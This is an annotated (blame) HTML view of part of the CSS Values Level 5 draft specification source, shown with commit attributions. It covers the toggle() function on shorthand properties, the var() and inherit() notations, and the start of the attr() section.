[css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1459" id="l1459"> 1459</a> </td> <td class="source"> If ''toggle()'' is used on a <a>shorthand property</a>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l208" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1460" id="l1460"> 1460</a> </td> <td class="source"> it sets each of its longhands to a ''toggle()'' value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l209" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1461" id="l1461"> 1461</a> </td> <td class="source"> with arguments corresponding to what the longhand would have received </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l210" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1462" id="l1462"> 1462</a> </td> <td class="source"> had each of the original ''toggle()'' arguments been the sole value of the <a>shorthand</a>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l211" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1463" id="l1463"> 1463</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l212" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1464" id="l1464"> 1464</a> </td> <td class="source"> <div class="example"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l213" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1465" id="l1465"> 1465</a> </td> <td class="source"> For example, the following shorthand declaration: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l214" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1466" id="l1466"> 1466</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l215" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1467" id="l1467"> 1467</a> </td> <td class="source"> <pre>margin: toggle(1px 2px, 4px, 1px 5px 4px);</pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l216" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1468" id="l1468"> 1468</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l217" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1469" id="l1469"> 1469</a> </td> <td class="source"> is equivalent to the following longhand declarations: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l218" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1470" id="l1470"> 1470</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l219" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1471" id="l1471"> 1471</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l868" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1472" id="l1472"> 1472</a> </td> <td class="source"> margin-top: toggle(1px, 4px, 1px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l869" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1473" id="l1473"> 1473</a> </td> <td class="source"> margin-right: toggle(2px, 4px, 5px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l870" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1474" id="l1474"> 1474</a> </td> <td class="source"> margin-bottom: toggle(1px, 4px, 4px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l871" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1475" id="l1475"> 1475</a> </td> <td class="source"> margin-left: toggle(2px, 4px, 5px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l224" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1476" id="l1476"> 1476</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l225" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1477" id="l1477"> 1477</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l226" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1478" id="l1478"> 1478</a> </td> <td class="source"> Note that, since ''1px'' appears twice in the top margin and ''4px'' appears twice in bottom margin, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l227" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1479" id="l1479"> 1479</a> </td> <td class="source"> they will cycle between only two values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l228" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1480" id="l1480"> 1480</a> </td> <td class="source"> while the left and right margins cycle through three. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l229" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1481" id="l1481"> 1481</a> </td> <td class="source"> In other words, the declarations above will yield the same computed values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l230" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1482" id="l1482"> 1482</a> </td> <td class="source"> as the longhand declarations below: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l231" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1483" id="l1483"> 1483</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l232" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1484" id="l1484"> 1484</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l881" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1485" id="l1485"> 1485</a> </td> <td class="source"> margin-top: toggle(1px, 4px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l882" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1486" id="l1486"> 1486</a> </td> <td class="source"> margin-right: toggle(2px, 4px, 5px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l883" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1487" id="l1487"> 1487</a> </td> <td class="source"> margin-bottom: toggle(1px, 4px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l884" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1488" id="l1488"> 1488</a> </td> <td class="source"> margin-left: toggle(2px, 4px, 5px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l237" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1489" id="l1489"> 1489</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l238" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1490" id="l1490"> 1490</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l239" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1491" id="l1491"> 1491</a> </td> <td class="source"> which may not be what was intended. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l240" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1492" id="l1492"> 1492</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l241" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1493" id="l1493"> 1493</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/17adde543c90/css-values-5/Overview.bs#l1372" title="17adde543c90: [css-values-5][editorial] Add cross-reference to var() notation.">fantasai@31722</a> </td> <td class="lineno"> <a href="#l1494" id="l1494"> 1494</a> </td> <td class="source"><h3 id="var-notation"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/17adde543c90/css-values-5/Overview.bs#l1373" title="17adde543c90: [css-values-5][editorial] Add cross-reference to var() notation.">fantasai@31722</a> </td> <td class="lineno"> <a href="#l1495" id="l1495"> 1495</a> </td> <td class="source">Custom Property References: the ''var()'' notation</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/17adde543c90/css-values-5/Overview.bs#l1374" title="17adde543c90: [css-values-5][editorial] Add cross-reference to var() notation.">fantasai@31722</a> </td> <td class="lineno"> <a href="#l1496" id="l1496"> 1496</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/17adde543c90/css-values-5/Overview.bs#l1375" title="17adde543c90: [css-values-5][editorial] Add cross-reference to var() notation.">fantasai@31722</a> </td> <td class="lineno"> <a href="#l1497" id="l1497"> 1497</a> </td> <td class="source"> The ''var()'' notation substitutes the value of a [=custom property=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/17adde543c90/css-values-5/Overview.bs#l1376" title="17adde543c90: [css-values-5][editorial] Add cross-reference to var() notation.">fantasai@31722</a> </td> <td class="lineno"> <a href="#l1498" id="l1498"> 1498</a> </td> <td class="source"> see the <a href="https://www.w3.org/TR/css-variables/#using-variables">CSS Custom Properties for Cascading Variables Module</a>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/17adde543c90/css-values-5/Overview.bs#l1377" title="17adde543c90: [css-values-5][editorial] Add cross-reference to var() notation.">fantasai@31722</a> </td> <td class="lineno"> <a href="#l1499" id="l1499"> 1499</a> </td> <td class="source"> [[CSS-VARIABLES]] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/17adde543c90/css-values-5/Overview.bs#l1378" title="17adde543c90: [css-values-5][editorial] Add cross-reference to var() notation.">fantasai@31722</a> </td> <td class="lineno"> <a href="#l1500" id="l1500"> 1500</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1479" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1501" id="l1501"> 1501</a> </td> <td class="source"><h3 id="inherit-notation"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1480" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1502" id="l1502"> 1502</a> </td> <td class="source">Inherited Value References: the ''inherit()'' notation</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1481" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1503" id="l1503"> 1503</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1482" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1504" id="l1504"> 1504</a> </td> <td class="source"> Like the ''inherit'' keyword, the <dfn>inherit()</dfn> [=functional notation=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1483" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1505" id="l1505"> 1505</a> </td> <td class="source"> resolves to the [=computed value=] of a property on the parent. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1484" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1506" id="l1506"> 1506</a> </td> <td class="source"> Rather than resolving to the value of the same property, however, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1485" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1507" id="l1507"> 1507</a> </td> <td class="source"> it resolves to the tokenized [=computed value=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1486" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1508" id="l1508"> 1508</a> </td> <td class="source"> of the property specified as its first argument. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1487" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1509" id="l1509"> 1509</a> </td> <td class="source"> Its second argument, if present, is used as a fallback </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1488" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1510" id="l1510"> 1510</a> </td> <td class="source"> in case the first argument resolves to the [=guaranteed-invalid value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1489" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1511" id="l1511"> 1511</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1490" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1512" id="l1512"> 1512</a> </td> <td class="source"> ''inherit()'' is an [=arbitrary substitution function=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1491" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1513" id="l1513"> 1513</a> </td> <td class="source"> whose syntax is defined as: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1492" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1514" id="l1514"> 1514</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1493" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1515" id="l1515"> 1515</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1494" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1516" id="l1516"> 1516</a> </td> <td class="source"> <dfn><<inherit()>></dfn> = inherit( <<custom-property-name>>, <<declaration-value>>? ) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1495" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1517" id="l1517"> 1517</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1496" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1518" id="l1518"> 1518</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1497" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1519" id="l1519"> 1519</a> </td> <td class="source"> To <dfn export>[=resolve an arbitrary substitution function|resolve an inherit() function=]</dfn>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1498" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1520" id="l1520"> 1520</a> </td> <td class="source"> return the [=inherited value=] of the [=custom property=] specified by the first argument, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1499" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1521" id="l1521"> 1521</a> </td> <td class="source"> and (if specified) the fallback specified by the second argument. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1500" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1522" id="l1522"> 1522</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1501" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1523" id="l1523"> 1523</a> </td> <td class="source"> Note: Future levels of CSS may allow specifying standard CSS properties in ''inherit()''; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1502" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1524" id="l1524"> 1524</a> </td> <td class="source"> however because the tokenization of [=computed values=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1503" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1525" id="l1525"> 1525</a> </td> <td class="source"> is not fully standardized for all CSS properties, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1504" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1526" id="l1526"> 1526</a> </td> <td class="source"> this feature is deferred from Level 5. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1505" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1527" id="l1527"> 1527</a> </td> <td class="source"> Note that the [=computed value=] differs from the [=used value=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1506" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1528" id="l1528"> 1528</a> </td> <td class="source"> and is not always the resolved value returned by {{getComputedStyle()}}; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1507" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1529" id="l1529"> 1529</a> </td> <td class="source"> thus even if ''inherit(width)'' were allowed, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1508" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1530" id="l1530"> 1530</a> </td> <td class="source"> it would frequently return the keyword ''width/auto'', not the used <<length>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/3c5b9a7888ca/css-values-5/Overview.bs#l1509" title="3c5b9a7888ca: [css-values-5] Define inherit() for custom properties #2864">fantasai@31741</a> </td> <td class="lineno"> <a href="#l1531" id="l1531"> 1531</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l733" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l1532" id="l1532"> 1532</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l251" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1542" id="l1542"> 1542</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/f5b9e5f9ccf0/css-values-5/Overview.bs#l259" title="f5b9e5f9ccf0: [css-values-5] More sensible heading structure">fantasai@30348</a> </td> <td class="lineno"> <a href="#l1543" id="l1543"> 1543</a> </td> <td class="source"><h3 id="attr-notation"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/03ce07eb112a/css-values-5/Overview.bs#l1391" title="03ce07eb112a: [css-values-5][editorial] Align subheadings">fantasai@31724</a> </td> <td class="lineno"> <a href="#l1544" id="l1544"> 1544</a> </td> <td class="source">Attribute References: the ''attr()'' notation</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l254" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1545" id="l1545"> 1545</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l255" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1546" id="l1546"> 1546</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l259" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1550" id="l1550"> 1550</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l260" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1551" id="l1551"> 1551</a> </td> <td class="source"> The <dfn>attr()</dfn> function substitutes the value of an <l spec=dom>[=attribute=]</l> on an <l spec=dom>[=/element=]</l> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l261" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1552" id="l1552"> 1552</a> </td> <td class="source"> into a property, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l262" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1553" id="l1553"> 1553</a> </td> <td class="source"> similar to how the ''var()'' function </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l263" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1554" id="l1554"> 1554</a> </td> <td class="source"> substitutes a [=custom property=] value into a function. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l264" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1555" id="l1555"> 1555</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l265" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1556" id="l1556"> 1556</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1557" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td 